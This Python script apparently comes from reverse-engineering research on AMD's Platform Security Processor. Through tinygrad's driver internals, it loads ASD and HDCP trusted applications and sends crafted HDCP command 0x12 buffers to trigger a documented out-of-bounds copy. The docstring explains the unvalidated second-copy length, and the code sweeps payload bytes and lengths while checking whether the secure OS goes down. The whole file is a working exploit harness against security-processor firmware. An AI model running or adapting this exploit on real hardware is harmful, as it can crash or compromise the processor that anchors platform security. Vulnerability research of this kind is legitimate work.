"""Fire the ASD cmd 0x308 OOB copy via HDCP cmd 0x12.

Payload byte layout (first 8 bytes of the buffer at shm+0x10):
  b0 = 0x91   -> sub_D134C4: (b0>>4)==9 && (b0&0xF)==1  => UNBOUNDED length branch
  b1 = 0x00
  b2,b3       -> a2 = (b2<<8)|b3 ; need a2 > v15 (a global-derived u16) -> use 0xFFFF
  b4 = 0x00
  b5,b6,b7    -> len2 = b5<<16|b6<<8|b7   (24-bit BE)  the SECOND copy length

sub_D13340:
  first copy  : asd_memcpy(v23[5120], buf, a1)      a1 in [48,5120]  (we send 0x1400)
  len2 re-derived from b5..b7, never re-validated
  gate        : v15 < a2  &&  sub_D134C4(...) == 0
  second copy : sub_D010E0(global 0xd1f038, v23, len2)   <- OOB when len2 > 5120

Escalate len2 and watch for divergence.
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
sid,shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
print("HDCP sid=%#x  (cmd 0x12 needs no session/topology/display)\n" % sid)

def inv(buf,tc):
    adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,tc
    t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except TimeoutError: return "TIMEOUT", None, time.time()-t0

BUFLEN = 0x1400
def fire(b0, a2val, len2):
    body = bytearray(b'\x00'*BUFLEN)
    body[0] = b0
    body[1] = 0x00
    body[2] = (a2val >> 8) & 0xFF
    body[3] = a2val & 0xFF
    body[4] = 0x00
    body[5] = (len2 >> 16) & 0xFF
    body[6] = (len2 >> 8) & 0xFF
    body[7] = len2 & 0xFF
    for i in range(8, BUFLEN): body[i] = 0x41
    b = bytearray(0x8000)
    struct.pack_into('<I', b, 0, 0x12)
    struct.pack_into('<I', b, 0xC, BUFLEN)     # first-copy length (valid)
    b[0x10:0x10+BUFLEN] = body
    ps,out,dt = inv(b, 0x12)
    ta = struct.unpack_from('<I',out,4)[0] if out is not None else None
    return ps,ta,dt

print("%-38s %-9s %-8s %-8s %s" % ("case","psp","ta_ret","elapsed","sOS"))
CASES = []
# sweep b0 nibbles x lengths, plus a2 variants, looking for ANY ta_ret==0 with a2 large
for b0 in (0x91, 0x90, 0x92, 0x81, 0x80, 0x99, 0x9F):
    for l2 in (0x187, 0x1400, 0x2000):
        CASES.append(("b0=%#04x len2=%#07x a2=0xFFFF" % (b0,l2), b0, 0xFFFF, l2))
# also probe the a2 boundary to locate v15 (the global-derived threshold)
for a2v in (0x0001, 0x0010, 0x0100, 0x0400, 0x0800, 0x1000, 0x4000, 0x8000, 0xFFFF):
    CASES.append(("a2=%#06x b0=0x91 len2=0x2000" % a2v, 0x91, a2v, 0x2000))
for name,b0,a2v,l2 in CASES:
    ps,ta,dt = fire(b0,a2v,l2)
    alive = psp.is_sos_alive()
    print("%-38s %-9s %-8s %7.2fs %s" % (name, ps, ta, dt, alive))
    if ps=="TIMEOUT" or not alive:
        print("   *** PSP/ASD DOWN ***"); break
print("\nsOS alive:", psp.is_sos_alive())